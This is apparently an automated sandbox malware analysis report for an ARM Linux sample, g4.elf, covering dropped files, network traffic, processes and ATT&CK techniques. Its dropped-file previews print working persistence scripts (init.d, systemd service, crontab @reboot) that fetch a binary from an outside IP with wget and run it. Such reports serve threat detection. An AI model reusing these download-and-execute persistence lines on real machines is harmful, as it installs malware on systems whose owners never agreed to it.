	INVOICE_90990_PDF.exe	Get hash	malicious	FormBook	Browse	www.quranvisor.com/usvr/?mN9d3vF=HHrW7cA9N4YJlebHFvlsdlDciSnnaQItEG8Ccfxp291VjnjcuwoPACt7EOqEq4SWjIf8&Pjf81=-Zdd-V5hqhM4p2S
	Go.exe	Get hash	malicious	Unknown	Browse	1.1.1.1/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	msit.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.6.116
	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.90.18
	WSLRT.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.134.197
	msit.msi	Get hash	malicious	LummaC Stealer	Browse	172.67.134.197
	Shipping Docs Waybill No 2009 xxxx 351.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	trow.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://encryption-deme-group.lomiraxen.ru/PdoodjcL/#Mvercauteren.william@deme-group.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	172.67.40.50
	g3.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
	g5.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
ASGHOSTNETDE	g3.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	g5.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	g4.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	g6.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	g3.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	ppc.elf	Get hash	malicious	Mirai	Browse	5.175.194.122
	x86.elf	Get hash	malicious	Mirai	Browse	5.175.146.210
	m1.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	m5.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	m2.elf	Get hash	malicious	Unknown	Browse	77.90.22.16

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/init.d/hello

Download File

Process:	/tmp/g4.elf
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	623
Entropy (8bit):	4.741518354128752
Encrypted:	false
SSDEEP:	12:i5BpMp5kTMp5Gu+a6zEq26Y28Ly259srxylKNVUdURucTyl:ifpMr8MrPd6QqwLyAsrxy8bp4
MD5:	C2038EA7FE2BBF5FB5083168ABA0286C
SHA1:	1617AF2034E1FB9D81C18F1E0C1D6E3916E1B306
SHA-256:	048C0096E4B0D64CFC4EC17A0490FB0BFE9E3A05FF51C235D432434696DFB42F
SHA-512:	BA1AC31EAB058D950FE488671BDAE0E6782EEC71A767F71D62E01CA0EDB7148A3F47E9C095BDA9094338DC63629CD39C09FE8046A4F8BE00BD7BAF1B67555347
Malicious:	true
Reputation:	low
Preview:	#!/bin/bash.### BEGIN INIT INFO.# Provides: hello.# Required-Start: $network $local_fs.# Required-Stop: $network $local_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: hi :).# Description: hello :).### END INIT INFO..case "$1" in. start).rm -rf /tmp/g4; wget http://103.136.41.100/g4 -O /tmp/g4; chmod 777 /tmp/g4; /tmp/g4 >C 2 R -1157128192 A arm..p4 > /dev/null 2>&1;" ;;. stop). exit 0. ;;. restart). $0 stop. $0 start. ;;. *). echo "Usage: $0 {start\|stop\|restart}". exit 1. ;;.esac..exit 0.

/etc/systemd/system/hello.service

Download File

Process:	/tmp/g4.elf
File Type:	troff or preprocessor input, ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.267839685068323
Encrypted:	false
SSDEEP:	6:z8KbX9RZAMGCk4vEuIACLm+fOAtMFF5C26VGBg8s1IEkqTsCBLQmWA4Rv:zb9RZADJiIE+m4Eq26Y28L2FLHWrv
MD5:	0492A1CECB5094FC26314EDD67D59AC6
SHA1:	85B653524F223B396A11F61519A7358FBA6EBC00
SHA-256:	BE37A496A475CF43174CF5DF7DAA5309EC26C05C4675FAF1308AD2F4D553E302
SHA-512:	D64D2E53E73B84B0D52CC0A3A2D94E7C86CD3824FB83C537444A5CD9EACF0E82CFB9E8B731ED8BCB799DF0DEEC0DBE18D4DBADC21191EAF49AC38EF6CEB611F2
Malicious:	false
Reputation:	low
Preview:	[Unit].Description=hi.After=network.target..[Service].RemainAfterExit=true.TimeoutSec=30s.Restart=no.ExecStart=/bin/bash -c "sleep 10; rm -rf /tmp/g4; wget http://103.136.41.100/g4 -O /tmp/g4; chmod 777 /tmp/g4; /tmp/g4 >C 2 R -1157128192 A arm..p1 > /dev/null 2>&1;".Type=forking..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/crontab.tmp

Download File

Process:	/tmp/g4.elf
File Type:	troff or preprocessor input, ASCII text
Category:	dropped
Size (bytes):	140
Entropy (8bit):	4.808493362967244
Encrypted:	false
SSDEEP:	3:SH3YFKKtoRFeMPHRC2I+KRIYoSGuVGBg2bEF1IUU0XzeVpFw2sePn:SH3otMFF5C26VGBg8s1IEkrw5Cn
MD5:	681CF8AE791F70CA05173FBFF363FA93
SHA1:	C27E22B3C3E848DA688269C6911B577F6568FE58
SHA-256:	A76063652729293C03EF92B2485C861133914F831CADCE21DB14F6168AAEA488
SHA-512:	42D4959240C268181C52F65284505FA56AE8705DD1F00428DD83A2977A1215E46A6EF443018CD59C3D6046868590E138606E96458CADF34A64FD19A4ADFE9DCF
Malicious:	true
Reputation:	low
Preview:	@rebootrm -rf /tmp/g4; wget http://103.136.41.100/g4 -O /tmp/g4; chmod 777 /tmp/g4; /tmp/g4 >C 2 R -1157128192 A arm..p2 > /dev/null 2>&1;".

/tmp/qemu-open.3s1YMz (deleted)

Download File

Process:	/tmp/g4.elf
File Type:	zlib compressed data
Category:	dropped
Size (bytes):	259
Entropy (8bit):	3.482343383791146
Encrypted:	false
SSDEEP:	3:FV5IX9FQWUQfvxzVoHXSY/VUWV/FFFQWUQfvxm3/l/VVdf/FVLADsVHI1v/VVdft:OgcB7Y/VUS/FYc8/VjmsVot/VOArB/VF
MD5:	A4081B8878882933359D0D776002F530
SHA1:	DCF81EC7D8C3FEEE9E341BFD6E59DAAB398F450B
SHA-256:	91E3CBA51E45CBDCFEA7B3C6E6C2EBD496135169123FA83512FC18086601C3BE
SHA-512:	18C82C68DE2846DE158D1224E37C14104954B7327EDDEFAEC4395AE6D89A5ECC810D06186C078780F84288FDEC0D98E9EC20423AB630E60EA39922D25789084E
Malicious:	false
Reputation:	low
Preview:	8000-1b000 r-xp 00000000 fd:00 531566 /tmp/g4.elf.23000-24000 rw-p 00013000 fd:00 531566 /tmp/g4.elf.24000-2a000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack]..

/var/spool/cron/crontabs/tmp.PQrdMA

Download File

Process:	/usr/bin/crontab
File Type:	troff or preprocessor input, ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.242251002170307
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1K8XAEuLuwJOBFQ3j24iGMQ5UYLtCFt3HYotMFF5C26VGBg8s1Il:8Qj7QEuLut8fUeHLUHYAEq26Y28LP9
MD5:	436833C49B79923C1EC211B7EFDECF4F
SHA1:	9162D946E38262BA0C3DA163E1B419C15F9E5754
SHA-256:	DF24BAECCA30AA40FC80EA0E55A9C236E00CC6ECFC6DC5E68AAA6C3098D5FA94
SHA-512:	621669674C38BE994EC5841FE8911EB4DDD44A6F29E636EDD3386272428958EB4DEF6A79CD328AED0C58B7907565D2CF292D3A8F825FF062BF48458EB2959FF3
Malicious:	true
Reputation:	low
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (/tmp/crontab.tmp installed on Mon Jan 13 01:53:07 2025).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).@rebootrm -rf /tmp/g4; wget http://103.136.41.100/g4 -O /tmp/g4; chmod 777 /tmp/g4; /tmp/g4 >C 2 R -1157128192 A arm..p2 > /dev/null 2>&1;".

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.103072157260984
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	g4.elf
File size:	79'764 bytes
MD5:	136fb2d91874d959cfd902863dbaaa5b
SHA1:	e924e85331e5a9100fe2cc3ab7f3824e6f4defe2
SHA256:	1ca51bb1da94ef8e16810e8b03f86694d3fba5cd46915cdba67f7ba82482234e
SHA512:	32d364ded2025d4fcce3f8a136d8101bd4148d1b09bfeac2bb27ec662abe1113c3d76b8099f76751142c369d2074af040b5aaaff276b4a2ac048bf48b4a62c96
SSDEEP:	1536:PbSna0PAeU9itJB+Zn5+C63+sMPiT7NNzYdnkgIZgTeg:T9in4o7NNzYdzJT
TLSH:	0C730956F9815B42C5D402BB7A1E569E33076BA8E3DE3313DD241B24778B62F0F27906
File Content Preview:	.ELF..............(.....T...4....5......4. ...(......................-...-...............0...0...0..................Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..5.......0....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	79244
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x11380	0x0	0x6	AX	16
.fini	PROGBITS	0x19430	0x11430	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x19440	0x11440	0x1944	0x0	0x2	A	4
.eh_frame	PROGBITS	0x23000	0x13000	0x4	0x0	0x3	WA	4
.init_array	INIT_ARRAY	0x23004	0x13004	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x23008	0x13008	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x23010	0x13010	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x23084	0x13084	0x490	0x0	0x3	WA	4
.bss	NOBITS	0x23514	0x13514	0x2998	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x13514	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x13524	0x67	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x12d84	0x12d84	6.1256	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x13000	0x23000	0x23000	0x514	0x2eac	6.0151	0x6	RW	0x8000	.eh_frame .init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 08:53:07.658371925 CET	48655	53	192.168.2.13	1.1.1.1
Jan 13, 2025 08:53:07.663220882 CET	53	48655	1.1.1.1	192.168.2.13
Jan 13, 2025 08:53:07.663331985 CET	48655	53	192.168.2.13	1.1.1.1
Jan 13, 2025 08:53:07.663398981 CET	48655	53	192.168.2.13	1.1.1.1
Jan 13, 2025 08:53:07.668312073 CET	53	48655	1.1.1.1	192.168.2.13
Jan 13, 2025 08:53:07.668371916 CET	48655	53	192.168.2.13	1.1.1.1
Jan 13, 2025 08:53:08.871448040 CET	52100	5625	192.168.2.13	77.90.22.16
Jan 13, 2025 08:53:08.876374960 CET	5625	52100	77.90.22.16	192.168.2.13
Jan 13, 2025 08:53:08.876472950 CET	52100	5625	192.168.2.13	77.90.22.16
Jan 13, 2025 08:53:08.906405926 CET	52100	5625	192.168.2.13	77.90.22.16
Jan 13, 2025 08:53:08.911233902 CET	5625	52100	77.90.22.16	192.168.2.13
Jan 13, 2025 08:53:39.640755892 CET	52100	5625	192.168.2.13	77.90.22.16
Jan 13, 2025 08:53:39.645591974 CET	5625	52100	77.90.22.16	192.168.2.13
Jan 13, 2025 08:54:10.360850096 CET	52100	5625	192.168.2.13	77.90.22.16
Jan 13, 2025 08:54:10.365649939 CET	5625	52100	77.90.22.16	192.168.2.13
Jan 13, 2025 08:54:20.001257896 CET	52100	5625	192.168.2.13	77.90.22.16
Jan 13, 2025 08:54:20.007911921 CET	5625	52100	77.90.22.16	192.168.2.13
Jan 13, 2025 08:54:20.188443899 CET	5625	52100	77.90.22.16	192.168.2.13
Jan 13, 2025 08:54:20.188534975 CET	52100	5625	192.168.2.13	77.90.22.16
Jan 13, 2025 08:54:51.321180105 CET	52100	5625	192.168.2.13	77.90.22.16
Jan 13, 2025 08:54:51.326066971 CET	5625	52100	77.90.22.16	192.168.2.13

System Behavior

Analysis Process: dash PID: 5414, Parent PID: 3590

General

Start time (UTC):	07:52:49
Start date (UTC):	13/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5414, Parent PID: 3590

General

Start time (UTC):	07:52:49
Start date (UTC):	13/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.uBHxhDQd7Y /tmp/tmp.K3ToqUjpQk /tmp/tmp.A4ESWgLvug
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 5415, Parent PID: 3590

General

Start time (UTC):	07:52:49
Start date (UTC):	13/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5415, Parent PID: 3590

General

Start time (UTC):	07:52:49
Start date (UTC):	13/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.uBHxhDQd7Y /tmp/tmp.K3ToqUjpQk /tmp/tmp.A4ESWgLvug
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: g4.elf PID: 5427, Parent PID: 5350

General

Start time (UTC):	07:52:59
Start date (UTC):	13/01/2025
Path:	/tmp/g4.elf
Arguments:	/tmp/g4.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: g4.elf PID: 5444, Parent PID: 5427

General

Start time (UTC):	07:53:06
Start date (UTC):	13/01/2025
Path:	/tmp/g4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5444, Parent PID: 5427

General

Start time (UTC):	07:53:06
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5450, Parent PID: 5444

General

Start time (UTC):	07:53:06
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5450, Parent PID: 5444

General

Start time (UTC):	07:53:06
Start date (UTC):	13/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: g4.elf PID: 5454, Parent PID: 5427

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/tmp/g4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5454, Parent PID: 5427

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl start hello.service > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5461, Parent PID: 5454

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5461, Parent PID: 5454

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl start hello.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: g4.elf PID: 5462, Parent PID: 5427

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/tmp/g4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5462, Parent PID: 5427

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5467, Parent PID: 5462

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: crontab PID: 5467, Parent PID: 5462

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/usr/bin/crontab
Arguments:	crontab /tmp/crontab.tmp
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

Chronological Activities

Analysis Process: g4.elf PID: 5468, Parent PID: 5427

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/tmp/g4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5468, Parent PID: 5427

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	sh -c "/etc/init.d/hello > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5474, Parent PID: 5468

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: g4.elf PID: 5476, Parent PID: 5427

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/tmp/g4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: g4.elf PID: 5478, Parent PID: 5476

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/tmp/g4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: g4.elf PID: 5480, Parent PID: 5478

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/tmp/g4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: g4.elf PID: 5485, Parent PID: 5478

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/tmp/g4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: g4.elf PID: 5487, Parent PID: 5478

General

Start time (UTC):	07:53:07
Start date (UTC):	13/01/2025
Path:	/tmp/g4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: xfce4-panel PID: 5431, Parent PID: 3147

General

Start time (UTC):	07:53:02
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5431, Parent PID: 3147

General

Start time (UTC):	07:53:02
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: xfce4-panel PID: 5432, Parent PID: 3147

General

Start time (UTC):	07:53:02
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5432, Parent PID: 3147

General

Start time (UTC):	07:53:02
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: xfce4-panel PID: 5433, Parent PID: 3147

General

Start time (UTC):	07:53:02
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5433, Parent PID: 3147

General

Start time (UTC):	07:53:02
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: xfce4-panel PID: 5434, Parent PID: 3147

General

Start time (UTC):	07:53:02
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5434, Parent PID: 3147

General

Start time (UTC):	07:53:02
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: xfce4-panel PID: 5435, Parent PID: 3147

General

Start time (UTC):	07:53:03
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5435, Parent PID: 3147

General

Start time (UTC):	07:53:03
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: xfce4-panel PID: 5442, Parent PID: 3147

General

Start time (UTC):	07:53:03
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5442, Parent PID: 3147

General

Start time (UTC):	07:53:03
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: systemd PID: 5452, Parent PID: 5451

General

Start time (UTC):	07:53:06
Start date (UTC):	13/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5452, Parent PID: 5451

General

Start time (UTC):	07:53:06
Start date (UTC):	13/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

